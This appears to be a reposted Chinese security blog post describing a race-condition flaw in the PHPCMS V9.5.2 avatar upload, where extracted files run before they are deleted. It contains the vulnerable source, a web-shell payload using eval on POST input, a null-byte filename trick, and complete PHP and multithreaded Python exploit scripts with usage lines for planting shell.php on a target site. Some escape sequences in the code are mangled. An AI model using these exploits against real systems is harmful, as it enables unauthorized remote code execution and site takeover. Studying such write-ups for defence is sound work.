PHPCMS前台设计缺陷导致任意代码执行

  • A+
所属分类:moonsec_com
摘要

PHPCMS前台设计缺陷导致任意代码执行 作者:felixk3y
PHPCMS前台存在严重设计缺陷
利用这个设计缺陷可导致任意代码/命令执行,当然可Getshell.

但PHPCMS代码执行不是这篇文章的主题,今天的主题是:
主题一:给大家介绍一种通用的设计缺陷,希望能引起各个厂商重视,以及由此衍生出来的一种比较新颖的漏洞利用方法,此设计缺陷目前我已在多个CMS上证明.
主题二:我想说的是当我们有任何奇思妙想的时候,哪怕这个想法”不切实际”、”不可能”,只要我们想方设法去实践,就会有意想不到的效果,这个漏洞就是证明.

PS: 明天放假了,在这里祝大家新年快乐!

PHPCMS前台设计缺陷导致任意代码执行

作者:felixk3y

简要描述:

PHPCMS前台存在严重设计缺陷
利用这个设计缺陷可导致任意代码/命令执行,当然可Getshell.

但PHPCMS代码执行不是这篇文章的主题,今天的主题是:
主题一:给大家介绍一种通用的设计缺陷,希望能引起各个厂商重视,以及由此衍生出来的一种比较新颖的漏洞利用方法,此设计缺陷目前我已在多个CMS上证明.
主题二:我想说的是当我们有任何奇思妙想的时候,哪怕这个想法"不切实际"、"不可能",只要我们想方设法去实践,就会有意想不到的效果,这个漏洞就是证明.

PS: 明天放假了,在这里祝大家新年快乐!

详细说明:

#1 前言

猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都完完了…

#2 叼着炸药包的猛兽来了

请先看下面这段代码

<?php   if(isset($_GET['src'])){    copy($_GET['src'],$_GET['dst']);    //...    unlink($_GET['dst']);    //...   }  ?>

这段代码实际意义不大,不过,没关系我们重在研究嘛,一种典型的”将猛兽放进室内,才杀之”的案例,我们来看看

猛兽放进室内:copy($_GET['src'],$_GET['dst']);

这条猛兽不安全,杀之:unlink($_GET['dst']);

炸药包:$_GET['dst']-->此炸药包非彼炸药包,此炸药包的作用是生成恶意文件 :-)

上述代码即存在本文所讲的设计缺陷

copy($_GET['src'],$_GET['dst']);

可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,后面的unlink($_GET['dst']);将之删除...

但是,各位厂商们 你们可曾想到这个木马可能在你们删除之前,生成了新的木马文件,结果可想而知,SO... 还请在设计产品时多考虑考虑....

#3 PHPCMS案例

PHPCMS相应的设计缺陷在上传头像的功能处,我们来看看其代码

/phpsso_server/phpcms/modules/phpsso/index.php 第572行开始 uploadavatar()函数

public function uploadavatar() {        //根据用户id创建文件夹    if(isset($this->data['uid']) && isset($this->data['avatardata'])) {     $this->uid = $this->data['uid'];     $this->avatardata = $this->data['avatardata'];    } else {     exit('0');    }        $dir1 = ceil($this->uid / 10000);    $dir2 = ceil($this->uid % 10000 / 1000);        //创建图片存储文件夹    $avatarfile = pc_base::load_config('system', 'upload_path').'avatar/';    $dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';    if(!file_exists($dir)) {     mkdir($dir, 0777, true);    }    //存储flashpost图片    $filename = $dir.$this->uid.'.zip';    file_put_contents($filename, $this->avatardata);        pc_base::load_sys_func('dir');    //解压缩文件    pc_base::load_app_class('pclzip', 'phpsso', 0);    $archive = new PclZip($filename);    $archive->allow_ext = array('jpg');    $list = $archive->extract(PCLZIP_OPT_PATH, $dir,PCLZIP_OPT_REMOVE_ALL_PATH);        //判断文件安全,删除压缩包和非jpg图片    $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');    $files = glob($dir."*");    foreach($files as $_files) {     if(is_dir($_files)) dir_delete($_files);     if(!in_array(basename($_files), $avatararr)) @unlink($_files);    }    if($handle = opendir($dir)) {        while(false !== ($file = readdir($handle))) {      if($file !== '.' && $file !== '..') {       if(!in_array($file, $avatararr)) {        @unlink($dir.$file);       } else {        $info = @getimagesize($dir.$file);        if(!$info || $info[2] !=2) {         @unlink($dir.$file);        }       }      }        }        closedir($handle);        }    $this->db->update(array('avatar'=>1), array('uid'=>$this->uid));    exit('1');   }

PHPCMS前台设计缺陷导致任意代码执行

PHPCMS前台设计缺陷导致任意代码执行

#5 漏洞利用poc

只要有php文件生成那就好办了,poc构想如下:

正常情况:

上传头像-->生成临时文件(1.php)-->删除非jpg文件

我们想要的情况:

上传头像-->生成临时文件(1.php)-->1.php在上层目录生成shell.php文件-->删除1.php等非jpg文件,留下shell.php文件-->成功

1.php.php.jpg文件的内容为:

<?php fputs(fopen('../../../../shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

同时用数字填充,大小为1 2M左右,同时打包为ZIP包,如图:

PHPCMS前台设计缺陷导致任意代码执行

当然为了能顺利的利用,手工是不行的,程序的执行多快啊 是吧...

于是我们利用PHP写出POC,打开至少15个CMD窗口跑起来,模仿多线程嘛,哈哈...

我相信不一会就会在上层目录生成我们想要的shell.php文件,POC如下 这里就不演示了...

<?php  /**   * Created by felixk3y   * Date: 14-01-10   * Name: PHPCMS V9.5.2 Arbitrary File Upload Exploit...   * Blog: http://weibo.com/rootsafe   */   error_reporting(7);   if($argc<2){    print "/n/tUsage:exp.php www.vulns.org/n";    exit();   }   $num = 0;   $loop = 0;   $host = $argv[1];   $posts = post();   $shell = "/phpcms/phpsso_server/uploadfile/shell.php";//生成shell的地址   $tmpfile = "/phpcms/phpsso_server/uploadfile/avatar/1/1/1/1.php";//临时的php文件,后面会被删除   //先访问临时数据包   while(++$loop<6){    echo "正在进行第".$loop."轮尝试.../n";    while(++$num<11){     echo "正在进行第".$num."次尝试访问临时文件.../n";    _get($host,$tmpfile);    }    $num = 0;    while(++$num<51){    echo "正在进行第".$num."次提交ZIP数据包同时试访问临时文件.../n";    send_http($host,$posts);//正常提交数据包    //if($num%2==0){     _get($host,$tmpfile);    //}    }    $num = 0;    while(++$num<11){     echo "正在进行第".$num."次尝试访问临时文件.../n";    _get($host,$tmpfile);    }    $num = 0;   }   $res = _get($host,$shell);   if(preg_match('/200 OK/',$res)) {   echo "--->Success!/n/n";   }else{   echo "------->Failed!/n/n";   }   function post(){    $asc = hex2asc("00");//目的是截断1.php.php.jpg为1.php    $repstr = "php".$asc."php";    $data = "";    $fp = fopen('phpcms.zip','r');//phpcms.zip要上传的数据包    while(!feof($fp)){    $data .=fgets($fp);    }    $data = preg_replace('/php/.php/i',$repstr,$data);    return $data;   }   function hex2asc($str){//进制间转换   $str = join('',explode('/x',$str));   $len = strlen($str);   for($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));   return $data;  }   function _get($host,$path){ //http get方法   $headers  = "GET $path HTTP/1.1/r/n";   $headers .= "Host: ".$host."/r/n";   $headers .= "Connection: close/r/n/r/n";      $fp = @fsockopen($host,80);      fputs($fp, $headers);   $resp = '';   while (!feof($fp)){    $resp .= fgets($fp, 2048);   }      return $resp;   }   function send_http($host,$post)   {      $data = "POST /phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=f58eCAZVBQJSVAkJA1sCWQpRAFBQVVEBDlYEAgQRWQUOVx9IRTpURxYMZlJWGgoJfmZiDUZXKm5PcjcTbgBfNgoAW0hwFAFqFC9bemJacg HTTP/1.1/r/n";      $data .= "Host: www.vulns.org/r/n";      $data .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)/r/n";      $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/r/n";      $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3/r/n";      $data .= "Accept-Encoding: gzip, deflate/r/n";      $data .= "Connection: keep-alive/r/n";      $data .= "Content-Length: " . strlen($post) . "/r/n/r/n";      $data .= $post . "/r/n";      //echo $data;      $fp = @fsockopen($host,80,$errno,$errstr,30);      if(!$fp){          echo $errno.'-->'.$errstr."/n";          exit('Could not connect to: '.$host);      }else{          fputs($fp, $data);          $back = '';          while(!feof($fp)){              $back .= fgets($fp, 2048);          }          fclose($fp);      }      return $back;   }   ?>

漏洞证明:

#6 Exp利用代码

为了方便利用,最后我用py写了最终的EXP,代码如下

#coding=GB2312  #Date: 2014-01-11 23:50  #Created by felixk3y  #Name: PHPCMS <=V9.5.2 Arbitrary File Upload Exploit...  #Blog: http://weibo.com/rootsafe    import os  import sys  import socket  import urllib  import urllib2  import threading  import msvcrt    # postu: 文件上传post的URL  # shell: 最终生成shell的URL  # tmpfile: 文件上传生成的临时文件URL  # postu & shell & tmpfile 这三个参数根据具体情况更改  postu   = '/install_package/phpsso_server/index.php'  shell   = '/install_package/phpsso_server/uploadfile/shell.php'  tmpfile = '/install_package/phpsso_server/uploadfile/avatar/1/1/1/1.php'    class upload(threading.Thread):      def __init__(self,num,loop,host,header,tmpfile,shell):          threading.Thread.__init__(self)          self.num     = num          self.loop    = loop          self.host    = host          self.header  = header          self.shell   = '%s%s' % (host,shell)          self.tmpfile = '%s%s' % (host,tmpfile)                def run(self):          while True:              print '正在进行第%d轮尝试.../n' % self.loop              while(self.num<3):                  print '正在进行第%d次尝试访问临时文件...' % self.num                  self._get(self.tmpfile)                  self.num += 1              self.num = 1              while(self.num<11):                  print '正在进行第%d次提交ZIP数据包同时试访问临时文件...' % self.num                  self.send_socket(self.host,self.header)                  self._get(self.tmpfile)                  self.num += 1              self.num = 1              while(self.num<11):                  print '正在进行第%d次尝试访问临时文件...' % self.num                  self._get(self.tmpfile)                  self.num += 1              self.loop += 1              self.num = 1        def _get(self,tmpfile):          try:              response = urllib2.urlopen(tmpfile)              if response.getcode() == 200:                  print '/nSuccess!/nShell: %s/nPass is [[email protected]].' % self.shell                  os._exit(1)          except urllib2.HTTPError,e:              pass                    def send_socket(self,host,headers):          if 'http://' in host:              host = host.split('/')[2]          sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)          sock.connect((host, 80))          sock.send(headers)          sock.close()              class ThreadStop(threading.Thread):      def run(self):          try:                         chr = msvcrt.getch()              if chr == 'q':                  print "stopped by your action( q )."                  os._exit(1)          except:              os._exit(1)                def usage():      print '/n/tUsage: upload.py <url>      '      print '/n/tExp: upload.py www.vulns.org'      os._exit(0)    def hex_to_asc(ch):      ch = int(float.fromhex(ch))      return '{:c}'.format(ch)    def post_data():      postdata = ''      asc = hex_to_asc('00')      repstr = 'php%sphp' % asc      fps = open('phpcms.zip','rb')      for sbin in fps.readlines():          postdata += sbin      postdata = postdata.replace('php.php',repstr)      return postdata    def exploit():      num     = 1      loop    = 1      threads = []      host   = sys.argv[1]      cookie = sys.argv[2]      if 'http://' not in host:          host = 'http://%s' % host            postdata = post_data()      mhost = host.split('/')[2]            dvalue  = '3f84AABWUlIDVAFSUwRTVA9QVwRRUAFXAFcLUFNMWgYKAENAQzkDF0cMbgkGTlsAXQdlJQIJCEVqAE5mMUhUJ28FJHV8ABcgXCN5NS5ZNQ'      params  = 'm=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=%s' % dvalue      posturl = '%s?%s' % (postu,params)      header  = 'POST %s HTTP/1.1/r/n' % posturl      header += 'Host: %s/r/n' % mhost      header += 'User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)/r/n'      header += 'Content-Type: application/octet-stream/r/n'      header += 'Accept-Encoding: gzip,deflate,sdch/r/n'      header += 'Content-Length: %d/r/n' % len(postdata)      header += 'Cookie: %s/r/n/r/n%s/r/n' % (cookie,postdata)            shouhu = ThreadStop()      shouhu.setDaemon(True)      shouhu.start()            for i in range(10):#线程数不能小了          t = upload(num,loop,host,header,tmpfile,shell)          t.start()          threads.append(t)      for th in threads:          t.join()    if __name__ == "__main__":      if len(sys.argv) < 2:          usage()      else:          exploit()

#7 Exp跑起来

phpcms_exp.py www.vulns.org cookie值

效果如下所示

PHPCMS前台设计缺陷导致任意代码执行PHPCMS前台设计缺陷导致任意代码执行

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: